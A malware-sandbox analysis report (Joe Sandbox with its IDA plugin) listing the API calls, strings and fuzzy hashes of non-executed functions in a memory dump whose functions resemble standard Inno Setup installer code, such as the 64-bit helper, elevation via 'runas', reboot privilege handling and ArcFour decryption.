Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 11f5b55454e2001d57305e4d26194660ee260494afc1ae4151642f59c6b90a28
Instruction ID: 073c3129693101c5e7833b7ffa09eca8aa7a1e81ff9bb2ce6bcaaab03392c7d4
Opcode Fuzzy Hash: 11f5b55454e2001d57305e4d26194660ee260494afc1ae4151642f59c6b90a28
Instruction Fuzzy Hash:

Non-executed Functions

Function 0041F118 Relevance: 45.6, APIs: 15, Strings: 11, Instructions: 87libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,00418FF0,00000000,?,?,?,00000001), ref: 0041F126
SetErrorMode.KERNEL32(00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F142
LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F14E
SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F15C
GetProcAddress.KERNEL32(00000001,Ctl3dRegister), ref: 0041F18C
GetProcAddress.KERNEL32(00000001,Ctl3dUnregister), ref: 0041F1B5
GetProcAddress.KERNEL32(00000001,Ctl3dSubclassCtl), ref: 0041F1CA
GetProcAddress.KERNEL32(00000001,Ctl3dSubclassDlgEx), ref: 0041F1DF
GetProcAddress.KERNEL32(00000001,Ctl3dDlgFramePaint), ref: 0041F1F4
GetProcAddress.KERNEL32(00000001,Ctl3dCtlColorEx), ref: 0041F209
GetProcAddress.KERNEL32(00000001,Ctl3dAutoSubclass), ref: 0041F21E
GetProcAddress.KERNEL32(00000001,Ctl3dUnAutoSubclass), ref: 0041F233
GetProcAddress.KERNEL32(00000001,Ctl3DColorChange), ref: 0041F248
GetProcAddress.KERNEL32(00000001,BtnWndProc3d), ref: 0041F25D
FreeLibrary.KERNEL32(00000001,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F26F

Strings

Ctl3DColorChange, xrefs: 0041F23D
BtnWndProc3d, xrefs: 0041F252
Ctl3dSubclassDlgEx, xrefs: 0041F1D4
Ctl3dUnAutoSubclass, xrefs: 0041F228
CTL3D32.DLL, xrefs: 0041F149
Ctl3dAutoSubclass, xrefs: 0041F213
Ctl3dRegister, xrefs: 0041F181
Ctl3dSubclassCtl, xrefs: 0041F1BF
Ctl3dCtlColorEx, xrefs: 0041F1FE
Ctl3dUnregister, xrefs: 0041F1AA
Ctl3dDlgFramePaint, xrefs: 0041F1E9

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc$ErrorLibraryMode$FreeLoadVersion
String ID: BtnWndProc3d$CTL3D32.DLL$Ctl3DColorChange$Ctl3dAutoSubclass$Ctl3dCtlColorEx$Ctl3dDlgFramePaint$Ctl3dRegister$Ctl3dSubclassCtl$Ctl3dSubclassDlgEx$Ctl3dUnAutoSubclass$Ctl3dUnregister
API String ID: 2323315520-3614243559
Opcode ID: 62814c6def9f01bce39a36d2c4270fbdb1234b3c2cb706e68bb71ccad2797809
Instruction ID: e724c2aa341d6685c6ab1c4031cb88844a897dd828fe35f3324890dc483947ec
Opcode Fuzzy Hash: 62814c6def9f01bce39a36d2c4270fbdb1234b3c2cb706e68bb71ccad2797809
Instruction Fuzzy Hash: 8E314FB2640700ABEB01EBB9AC46A6B3794F328724741093FB508D7192D77C5C55CF5C

Function 00458418 Relevance: 40.4, APIs: 11, Strings: 12, Instructions: 186pipeprocessfileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0045847F
QueryPerformanceCounter.KERNEL32(020B3858,00000000,00458712,?,?,020B3858,00000000,?,00458E0E,?,020B3858,00000000), ref: 00458488
GetSystemTimeAsFileTime.KERNEL32(020B3858,020B3858), ref: 00458492
GetCurrentProcessId.KERNEL32(?,020B3858,00000000,00458712,?,?,020B3858,00000000,?,00458E0E,?,020B3858,00000000), ref: 0045849B
CreateNamedPipeA.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 00458511
GetLastError.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000,?,020B3858,020B3858), ref: 0045851F
CreateFileA.KERNEL32(00000000,C0000000,00000000,00499B10,00000003,00000000,00000000,00000000,004586CE), ref: 00458567
SetNamedPipeHandleState.KERNEL32(000000FF,00000002,00000000,00000000,00000000,004586BD,?,00000000,C0000000,00000000,00499B10,00000003,00000000,00000000,00000000,004586CE), ref: 004585A0

Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7

CreateProcessA.KERNEL32(00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 00458649
CloseHandle.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000), ref: 0045867F
CloseHandle.KERNEL32(000000FF,004586C4,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 004586B7

Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,00497F15,00000000), ref: 0045349F

Strings

i, xrefs: 004585FC
CreateFile, xrefs: 00458575
Starting 64-bit helper process., xrefs: 0045844D
helper %d 0x%x, xrefs: 00458628
CreateProcess, xrefs: 00458652
D, xrefs: 004585C2
SetNamedPipeHandleState, xrefs: 004585A9
CreateNamedPipe, xrefs: 0045852F
64-bit helper EXE wasn't extracted, xrefs: 00458473
Helper process PID: %u, xrefs: 0045869C
\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x, xrefs: 004584E7
Cannot utilize 64-bit features on this version of Windows, xrefs: 00458460

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CreateHandle$CloseErrorFileLastNamedPipeProcessSystemTime$CountCounterCurrentDirectoryPerformanceQueryStateTick
String ID: 64-bit helper EXE wasn't extracted$Cannot utilize 64-bit features on this version of Windows$CreateFile$CreateNamedPipe$CreateProcess$D$Helper process PID: %u$SetNamedPipeHandleState$Starting 64-bit helper process.$\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x$helper %d 0x%x$i
API String ID: 770386003-3271284199
Opcode ID: 9504134f1b0840cae109e3ce12893ae1ca881710e7b52e2eec49e0a39d18bb41
Instruction ID: 01244017a6d81f6d28e4b5174d8fffcdbc0783d4be9496fecaa57000614c8eca
Opcode Fuzzy Hash: 9504134f1b0840cae109e3ce12893ae1ca881710e7b52e2eec49e0a39d18bb41
Instruction Fuzzy Hash: 71711370A003449EDB10EF65CC45B9EBBF4EB15705F5084BAF918FB282DB7899448F69

Function 00478024 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00477E90: GetModuleHandleA.KERNEL32(kernel32.dll,GetFinalPathNameByHandleA,020B2BF0,?,?,?,020B2BF0,00478054,00000000,00478172,?,?,-00000010,?), ref: 00477EA9
Part of subcall function 00477E90: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00477EAF
Part of subcall function 00477E90: GetFileAttributesA.KERNEL32(00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,020B2BF0,?,?,?,020B2BF0,00478054,00000000,00478172,?,?,-00000010,?), ref: 00477EC2
Part of subcall function 00477E90: CreateFileA.KERNEL32(00000000,00000000,00000007,00000000,00000003,00000000,00000000,00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,020B2BF0,?,?,?,020B2BF0), ref: 00477EEC
Part of subcall function 00477E90: CloseHandle.KERNEL32(00000000,?,?,?,020B2BF0,00478054,00000000,00478172,?,?,-00000010,?), ref: 00477F0A

Part of subcall function 00477F68: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00477FFA,?,?,?,020B2BF0,?,0047805C,00000000,00478172,?,?,-00000010,?), ref: 00477F98

ShellExecuteEx.SHELL32(0000003C), ref: 004780AC
GetLastError.KERNEL32(00000000,00478172,?,?,-00000010,?), ref: 004780B5
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 00478102
GetExitCodeProcess.KERNEL32(00000000,00000000), ref: 00478126
CloseHandle.KERNEL32(00000000,00478157,00000000,00000000,000000FF,000000FF,00000000,00478150,?,00000000,00478172,?,?,-00000010,?), ref: 0047814A

Strings

ShellExecuteEx, xrefs: 004780C6
ShellExecuteEx returned hProcess=0, xrefs: 004780D6
MsgWaitForMultipleObjects, xrefs: 0047810F
runas, xrefs: 00478079
<, xrefs: 0047806B
GetExitCodeProcess, xrefs: 0047812F

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Handle$CloseFile$AddressAttributesCodeCreateCurrentDirectoryErrorExecuteExitLastModuleMultipleObjectsProcProcessShellWait
String ID: <$GetExitCodeProcess$MsgWaitForMultipleObjects$ShellExecuteEx$ShellExecuteEx returned hProcess=0$runas
API String ID: 883996979-221126205
Opcode ID: 3f9d2181694077b21b868e71eca94cf7724c1513c234160a79aee89dede81d9c
Instruction ID: 4776828256a8cc8572350b5820200226dc7264e1f18f620f8b2e082d5f540a6f
Opcode Fuzzy Hash: 3f9d2181694077b21b868e71eca94cf7724c1513c234160a79aee89dede81d9c
Instruction Fuzzy Hash: 6E316670940208AEDB10EFE6C845ADEB7B8EB04318F90847FF518F7281DA7899058B59

Function 0042285C Relevance: 18.3, APIs: 12, Instructions: 255windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000223,00000000,00000000), ref: 004229F4
ShowWindow.USER32(00000000,00000003,00000000,00000223,00000000,00000000,00000000,00422BBE), ref: 00422A04

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: MessageSendShowWindow
String ID:
API String ID: 1631623395-0
Opcode ID: feaf7eda56c5d7a46aeac68601ea302718d54c2d1d0da18b2df088f526b52f35
Instruction ID: 9e9026b6a08d43f4c34b0c014f83afec13b9727198b5f0eb67f7172f0d04fbcb
Opcode Fuzzy Hash: feaf7eda56c5d7a46aeac68601ea302718d54c2d1d0da18b2df088f526b52f35
Instruction Fuzzy Hash: 90915171B04214BFDB11EFA9DA86F9D77F4AB04304F5500BAF504AB392CB78AE419B58

Function 00418384 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00418393
GetWindowPlacement.USER32(?,0000002C), ref: 004183B0
GetWindowRect.USER32(?), ref: 004183CC
GetWindowLongA.USER32(?,000000F0), ref: 004183DA
GetWindowLongA.USER32(?,000000F8), ref: 004183EF
ScreenToClient.USER32(00000000), ref: 004183F8
ScreenToClient.USER32(00000000,?), ref: 00418403

Strings

,, xrefs: 0041839C

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window$ClientLongScreen$IconicPlacementRect
String ID: ,
API String ID: 2266315723-3772416878
Opcode ID: 093fbc58c9f2bb22a74bd7cb36b3f86111f4d6c014dbe9a16a5ffda61369e0f0
Instruction ID: 8875a2d430ef8be2c5346fa25315cde737655516302bc4d2344e38a88124d083
Opcode Fuzzy Hash: 093fbc58c9f2bb22a74bd7cb36b3f86111f4d6c014dbe9a16a5ffda61369e0f0
Instruction Fuzzy Hash: 2B112B71505201ABEB00DF69C885F9B77E8AF48314F04067EFD58DB296D738D900CB65

Function 004555E4 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 41shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 004555F3
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 004555F9
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 00455612
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 00455639
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 0045563E
ExitWindowsEx.USER32(00000002,00000000), ref: 0045564F

Strings

SeShutdownPrivilege, xrefs: 0045560B

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 107509674-3733053543
Opcode ID: 71598a6bdd6d5fb56d5762fa92910e3e26de8c4971b3032dc2bdc18874b6a41e
Instruction ID: 23182b732e3c774e917f784577cc733395bd6f0e504c2650860deaf78f25ff04
Opcode Fuzzy Hash: 71598a6bdd6d5fb56d5762fa92910e3e26de8c4971b3032dc2bdc18874b6a41e
Instruction Fuzzy Hash: CBF0C870294B41B9EA10A6718C17F3B21C89B40709F80083ABD05E90D3D7BDD40C4A2E

Function 0045CFD8 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(10000000,ISCryptGetVersion), ref: 0045CFE1
GetProcAddress.KERNEL32(10000000,ArcFourInit), ref: 0045CFF1
GetProcAddress.KERNEL32(10000000,ArcFourCrypt), ref: 0045D001
ISCryptGetVersion._ISCRYPT(10000000,ArcFourCrypt,10000000,ArcFourInit,10000000,ISCryptGetVersion,?,0047F453,00000000,0047F47C), ref: 0045D026

Strings

ArcFourCrypt, xrefs: 0045CFFB
ArcFourInit, xrefs: 0045CFEB
ISCryptGetVersion, xrefs: 0045CFDB

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc$CryptVersion
String ID: ArcFourCrypt$ArcFourInit$ISCryptGetVersion
API String ID: 1951258720-508647305
Opcode ID: 6bea81dda9fbb2f0804f4d34ed7f3fdf770b10932dc8999661774a36d6befbc1
Instruction ID: 053e23ae93e59936775da3b85939a49c1ec117bb16e32bace9e6a444f988995f
Opcode Fuzzy Hash: 6bea81dda9fbb2f0804f4d34ed7f3fdf770b10932dc8999661774a36d6befbc1
Instruction Fuzzy Hash: 3EF0F9B0980700CBE728EFB6ACC67263795EB9570AF14813BA808A11E2D7780499CB1C

Function 00497C14 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 90fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,00497D52,?,?,00000000,0049B628,?,00497EDC,00000000,00497F30,?,?,00000000,0049B628), ref: 00497C6B
SetFileAttributesA.KERNEL32(00000000,00000010), ref: 00497CEE
FindNextFileA.KERNEL32(000000FF,?,00000000,00497D2A,?,00000000,?,00000000,00497D52,?,?,00000000,0049B628,?,00497EDC,00000000), ref: 00497D06
FindClose.KERNEL32(000000FF,00497D31,00497D2A,?,00000000,?,00000000,00497D52,?,?,00000000,0049B628,?,00497EDC,00000000,00497F30), ref: 00497D24

Strings

isRS-???.tmp, xrefs: 00497C55
isRS-, xrefs: 00497C8B

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstNext
String ID: isRS-$isRS-???.tmp
API String ID: 134685335-3422211394
Opcode ID: 364c0e76f2c6b87ee015195f117b48597cda05d20fe84bdce713179882c005fd
Instruction ID: 58584d30a9cebb9496c34c78ac808807487b68c9e5340ea926fa5a91c3adbdad
Opcode Fuzzy Hash: 364c0e76f2c6b87ee015195f117b48597cda05d20fe84bdce713179882c005fd
Instruction Fuzzy Hash: 22316571A146086BDF10EF65CC41ADEBBBCDF49304F5085BBA908A32A1E63C9E458F58

Function 004573E0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 238windownativeCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 0045745D
PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00457484
SetForegroundWindow.USER32(?), ref: 00457495
NtdllDefWindowProc_A.USER32(00000000,?,?,?,00000000,0045776F,?,00000000,004577AB), ref: 0045775A

Strings

Cannot evaluate variable because [Code] isn't running yet, xrefs: 004575DA

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: MessagePostWindow$ForegroundNtdllProc_
String ID: Cannot evaluate variable because [Code] isn't running yet
API String ID: 2236967946-3182603685
Opcode ID: 6bd6caa41a15310477e83bc0a49d1206285915d7cd4776c217e2dcd25b97f1c8
Instruction ID: fa7acb0e2d6b8d582b6902519899a90ae2b0afcf3fbb82d78ce799b77582f668
Opcode Fuzzy Hash: 6bd6caa41a15310477e83bc0a49d1206285915d7cd4776c217e2dcd25b97f1c8
Instruction Fuzzy Hash: DF91D134608204EFD715CF69E991F5ABBF9FB49704F2180BAEC0497792D638AE04DB58

Function 00455E0C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 112libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetDiskFreeSpaceExA,00000000,00455F4B), ref: 00455E3C
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00455E42

Strings

GetDiskFreeSpaceExA, xrefs: 00455E32
kernel32.dll, xrefs: 00455E37

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 425acd45c57e1a90a14b519a9b70c26380c560e6a4faa307eedde0d31f767984
Instruction ID: d81c9a8c7c52065d28d66f53e81ce4f313aa74f068c2efe820cb9bfc493487ae
Opcode Fuzzy Hash: 425acd45c57e1a90a14b519a9b70c26380c560e6a4faa307eedde0d31f767984
Instruction Fuzzy Hash: B0418671A04649AFCF01EFA5C8929EEB7B8EF48305F504567F804F7292D67C5E098B68

Function 00417CD0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00417D0F
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417D2D
GetWindowPlacement.USER32(?,0000002C), ref: 00417D63
SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417D8A

Strings

,, xrefs: 00417D51

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window$Placement$Iconic
String ID: ,
API String ID: 568898626-3772416878
Opcode ID: a0af22d6e47f15c5c805b34526d81a80d06eca119401db975a7b3104afeb2d4e
Instruction ID: e85585575f8c5a3e7823c55acc6b28d6d187d41511fbfc80546af44b70413e2d
Opcode Fuzzy Hash: a0af22d6e47f15c5c805b34526d81a80d06eca119401db975a7b3104afeb2d4e
Instruction Fuzzy Hash: 4C2112716042089BDF10EF69D8C1AEA77B8AF48314F05456AFD18DF346D678DD84CBA8

Function 00463B50 Relevance: 7.6, APIs: 5, Instructions: 129fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001,00000000,00463D0D), ref: 00463B81
FindFirstFileA.KERNEL32(00000000,?,00000000,00463CE0,?,00000001,00000000,00463D0D), ref: 00463C10
FindNextFileA.KERNEL32(000000FF,?,00000000,00463CC2,?,00000000,?,00000000,00463CE0,?,00000001,00000000,00463D0D), ref: 00463CA2
FindClose.KERNEL32(000000FF,00463CC9,00463CC2,?,00000000,?,00000000,00463CE0,?,00000001,00000000,00463D0D), ref: 00463CBC

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Find$File$CloseErrorFirstModeNext
String ID:
API String ID: 4011626565-0
Opcode ID: ea3eed7d1408edc3882bc6792a8114668d7e879bec7624fad3ea01842ef17e57
Instruction ID: 951735f7a3c6dd48f486321ddf7fb9c00a217b4e97ee71939f184256b73d479b
Opcode Fuzzy Hash: ea3eed7d1408edc3882bc6792a8114668d7e879bec7624fad3ea01842ef17e57
Instruction Fuzzy Hash: 2B41A871A00A58AFCB10EF65DC45ADDB7B8EB88706F4044BAF404B7381E67C9F488E59

Function 00463FCC Relevance: 7.6, APIs: 5, Instructions: 129fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001,00000000,004641B3), ref: 00464041
FindFirstFileA.KERNEL32(00000000,?,00000000,0046417E,?,00000001,00000000,004641B3), ref: 00464087
FindNextFileA.KERNEL32(000000FF,?,00000000,00464160,?,00000000,?,00000000,0046417E,?,00000001,00000000,004641B3), ref: 0046413C
FindClose.KERNEL32(000000FF,00464167,00464160,?,00000000,?,00000000,0046417E,?,00000001,00000000,004641B3), ref: 0046415A

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

